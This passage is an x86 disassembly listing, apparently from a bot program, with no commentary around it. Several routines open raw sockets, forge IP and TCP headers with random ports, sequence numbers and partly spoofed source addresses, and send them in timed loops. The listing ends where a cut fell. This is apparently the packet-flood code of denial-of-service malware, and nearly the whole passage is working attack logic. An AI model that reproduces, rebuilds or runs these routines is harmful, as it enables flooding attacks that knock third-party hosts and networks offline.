idiv ecx cdq idiv esi pop esi pop ebx retn sub_4061A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061E8 proc near ; DATA XREF: sub_40997B+363Eo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_406539 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_41F36C push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_406268 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_4084CC add esp, 14h loc_406268: ; CODE XREF: sub_4061E8+5Ej lea eax, [ebp+var_414] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_4061E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406287 proc near ; CODE XREF: sub_406539+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_42728C ; WSAStartup test eax, eax jz short loc_4062C7 xor eax, eax jmp loc_406535 ; --------------------------------------------------------------------------- loc_4062C7: ; CODE XREF: sub_406287+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4273B8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_40652D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4272F4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_406523 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_40E800 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_427314 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_427314 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_427314 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_427314 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_41A0EC ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_41A000 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_4106D0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4063B2: ; CODE XREF: sub_406287+25Dj ; sub_406287+26Bj mov [ebp+var_24], bx call sub_410198 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_427314 ; htons mov [ebp+var_34], ax call sub_410198 mov edi, eax shl edi, 10h call sub_410198 or edi, eax push edi call dword_427314 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_427310 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_427314 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_40E940 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_40E940 lea eax, [ebp+var_B4] push 34h push eax call sub_404F93 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_40E940 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_40E940 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_40E800 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_404F93 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_40E940 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_427378 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4064F7 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_41A000 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_406520 jl loc_4063B2 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_406520 jmp loc_4063B2 ; --------------------------------------------------------------------------- loc_4064F7: ; CODE XREF: sub_406287+247j call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_41F3A0 push eax call sub_40EE10 lea eax, [ebp+var_F4] push eax call sub_407A4E add esp, 10h jmp short loc_406523 ; --------------------------------------------------------------------------- loc_406520: ; CODE XREF: sub_406287+25Bj ; sub_406287+269j mov ebx, [ebp+arg_8] loc_406523: ; CODE XREF: sub_406287+78j ; sub_406287+297j push [ebp+var_C] call dword_4273AC ; closesocket pop esi loc_40652D: ; CODE XREF: sub_406287+5Bj call dword_427274 ; WSACleanup mov eax, ebx loc_406535: ; CODE XREF: sub_406287+3Bj pop edi pop ebx leave retn sub_406287 endp ; =============== S U B R O U T I N E ======================================= sub_406539 proc near ; CODE XREF: sub_4061E8+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_404F02 push [esp+10h+arg_4] mov esi, eax call sub_40FB66 push [esp+14h+arg_8] mov ebx, eax call sub_40FB66 mov edi, eax call sub_410198 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_406287 add esp, 1Ch test eax, eax jnz short loc_406584 push 1 pop eax loc_406584: ; CODE XREF: sub_406539+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_406539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406593 proc near ; DATA XREF: sub_40997B+390Eo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_40FB66 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_427354 ; inet_addr push eax call sub_406636 pop ecx pop ecx push eax lea eax, [ebp+var_394] push offset dword_41F3C8 push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_406617 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_4084CC add esp, 14h loc_406617: ; CODE XREF: sub_406593+62j lea eax, [ebp+var_394] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_406593 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406636 proc near ; CODE XREF: sub_406593+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_40F7B5 pop ecx mov [ebp+var_4], eax push edi push eax call dword_427328 ; gethostname push [ebp+var_4] call dword_427398 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_427394 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4272F4 ; setsockopt mov esi, 200h push esi call sub_40E882 mov edi, dword_41A090 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_427314 ; htons mov [ebp+var_96], ax loc_406751: ; CODE XREF: sub_406636+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_406837 call sub_410198 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_410198 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_410198 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_410198 mov [ebp+var_20], ax call sub_410198 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_427314 ; htons push esi mov [ebp+var_1E], ax call dword_427314 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_410198 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_404F93 mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call sub_40E940 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_427378 ; sendto jmp loc_406751 ; --------------------------------------------------------------------------- loc_406837: ; CODE XREF: sub_406636+12Cj push [ebp+var_8] call sub_40ECAF pop ecx push [ebp+var_4] call dword_4273AC ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_406636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406851 proc near ; DATA XREF: sub_40997B+374Co var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_41A090 ; GetTickCount push eax call sub_41018E lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_406C3D add esp, 14h push eax lea eax, [ebp+var_494] push offset dword_41F3F0 push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4068E4 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_4084CC add esp, 14h loc_4068E4: ; CODE XREF: sub_406851+71j lea eax, [ebp+var_494] push eax call sub_407A4E push [ebp+var_290] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_406851 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406906 proc near ; CODE XREF: sub_406C3D+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_42728C ; WSAStartup test eax, eax jz short loc_406946 xor eax, eax jmp loc_406C39 ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406906+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4273B8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_406C31 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4272F4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_406C27 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_427314 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_427314 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_427314 ; htons mov [ebp+var_12], ax call sub_410198 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_427314 ; htons push 12345678h mov [ebp+var_14], ax call dword_427310 ; htonl push offset dword_41F464 mov [ebp+var_10], eax push [ebp+arg_8] call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_406A16 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_406A6A ; --------------------------------------------------------------------------- loc_406A16: ; CODE XREF: sub_406906+105j push offset dword_41F45C push [ebp+arg_8] call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_406A32 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_406A6A ; --------------------------------------------------------------------------- loc_406A32: ; CODE XREF: sub_406906+121j push offset dword_41F454 push [ebp+arg_8] call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_406A6A call sub_410198 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_410198 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_406A6A: ; CODE XREF: sub_406906+10Ej ; sub_406906+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_427314 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_41A0EC ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_41A000 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_4106D0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_406AB8: ; CODE XREF: sub_406906+2E2j ; sub_406906+2F0j mov [ebp+var_4], bx call sub_410198 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_427314 ; htons mov [ebp+var_14], ax call sub_410198 mov edi, eax shl edi, 10h call sub_410198 or edi, eax push edi call dword_427314 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_427310 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_427314 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_40E940 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_40E940 lea eax, [ebp+var_B4] push 34h push eax call sub_404F93 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_40E940 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_40E940 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_40E800 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_404F93 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_40E940 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_427378 ; sendto cmp eax, 0FFFFFFFFh jz short loc_406BFB add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_41A000 ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_406C24 jl loc_406AB8 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_406C24 jmp loc_406AB8 ; --------------------------------------------------------------------------- loc_406BFB: ; CODE XREF: sub_406906+2CBj call dword_4272A8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_41F428 push eax call sub_40EE10 lea eax, [ebp+var_F4] push eax call sub_407A4E add esp, 10h jmp short loc_406C27 ; --------------------------------------------------------------------------- loc_406C24: ; CODE XREF: sub_406906+2E0j ; sub_406906+2EEj mov ebx, [ebp+arg_8] loc_406C27: ; CODE XREF: sub_406906+78j ; sub_406906+31Cj push [ebp+var_20] call dword_4273AC ; closesocket pop esi loc_406C31: ; CODE XREF: sub_406906+5Bj call dword_427274 ; WSACleanup mov eax, ebx loc_406C39: ; CODE XREF: sub_406906+3Bj pop edi pop ebx leave retn sub_406906 endp ; =============== S U B R O U T I N E ======================================= sub_406C3D proc near ; CODE XREF: sub_406851+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_404F02 push [esp+10h+arg_4] mov esi, eax call sub_40FB66 push [esp+14h+arg_C] mov ebx, eax call sub_40FB66 mov edi, eax call sub_410198 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_406906 add esp, 20h test eax, eax jnz short loc_406C8C push 1 pop eax loc_406C8C: ; CODE XREF: sub_406C3D+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_406C3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C9B proc near ; CODE XREF: sub_406DA5+19Ap ; sub_406DA5+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_406CC7 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_406CB9: ; CODE XREF: sub_406C9B+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_406CB9 pop edi cmp eax, 1 loc_406CC7: ; CODE XREF: sub_406C9B+12j jnz short loc_406CD4 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_406CD4: ; CODE XREF: sub_406C9B:loc_406CC7j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_406C9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CED proc near ; DATA XREF: sub_40997B+382Do var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_40FB66 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_427354 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_406DA5 add esp, 19Ch push eax lea eax, [ebp+var_394] push offset dword_41F46C push eax call sub_40EE10 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_406D88 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_4084CC add esp, 14h loc_406D88: ; CODE XREF: sub_406CED+79j lea eax, [ebp+var_394] push eax call sub_407A4E push [ebp+var_10] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread sub_406CED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DA5 proc near ; CODE XREF: sub_406CED+54p var_CC = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, dword_41A090 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_427394 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41018E pop ecx mov edi, 578h push edi push 9 push 1 call sub_40DE3E pop ecx pop ecx push eax lea eax, [ebp+var_28] push eax call sub_40E800 add esp, 0Ch mov esi, 5A0h loc_406DFF: ; CODE XREF: sub_406DA5+235j call dword_41A090 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_406FDF cmp dword_4280D8, ebx jnz short loc_406E7E push 10h pop eax mov [ebp+var_14], eax push eax lea eax, [ebp+var_68] push ebx push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4272B8 ; getsockname push 0FFh push 1 call sub_40DE3E pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+var_CC] push offset dword_41E35C push eax call sub_40EE10 add esp, 18h jmp short loc_406E91 ; --------------------------------------------------------------------------- loc_406E7E: ; CODE XREF: sub_406DA5+7Ej lea eax, [ebp+var_CC] push offset dword_427AB8 push eax call sub_40ED20 pop ecx pop ecx loc_406E91: ; CODE XREF: sub_406DA5+D7j lea eax, [ebp+var_CC] push eax call dword_427354 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_427314 ; htons mov [ebp+var_52], ax call sub_410198 mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call sub_410198 mov [ebp+var_40], ax call sub_410198 mov [ebp+var_3E], ax call sub_410198 mov [ebp+var_3C], eax call sub_410198 mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_406C9B mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_406C9B mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call dword_41A1B4 ; htons mov [ebp+var_A2], ax lea eax, [ebp+var_A0] push 14h push eax lea eax, [ebp+var_40] push eax call sub_40E940 lea eax, [ebp+var_8C] push edi push eax lea eax, [ebp+var_28] push eax call sub_40E940 lea eax, [ebp+var_AC] push 598h push eax call sub_406C9B add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_427378 ; sendto inc [ebp+var_4] jmp loc_406DFF ; --------------------------------------------------------------------------- loc_406FDF: ; CODE XREF: 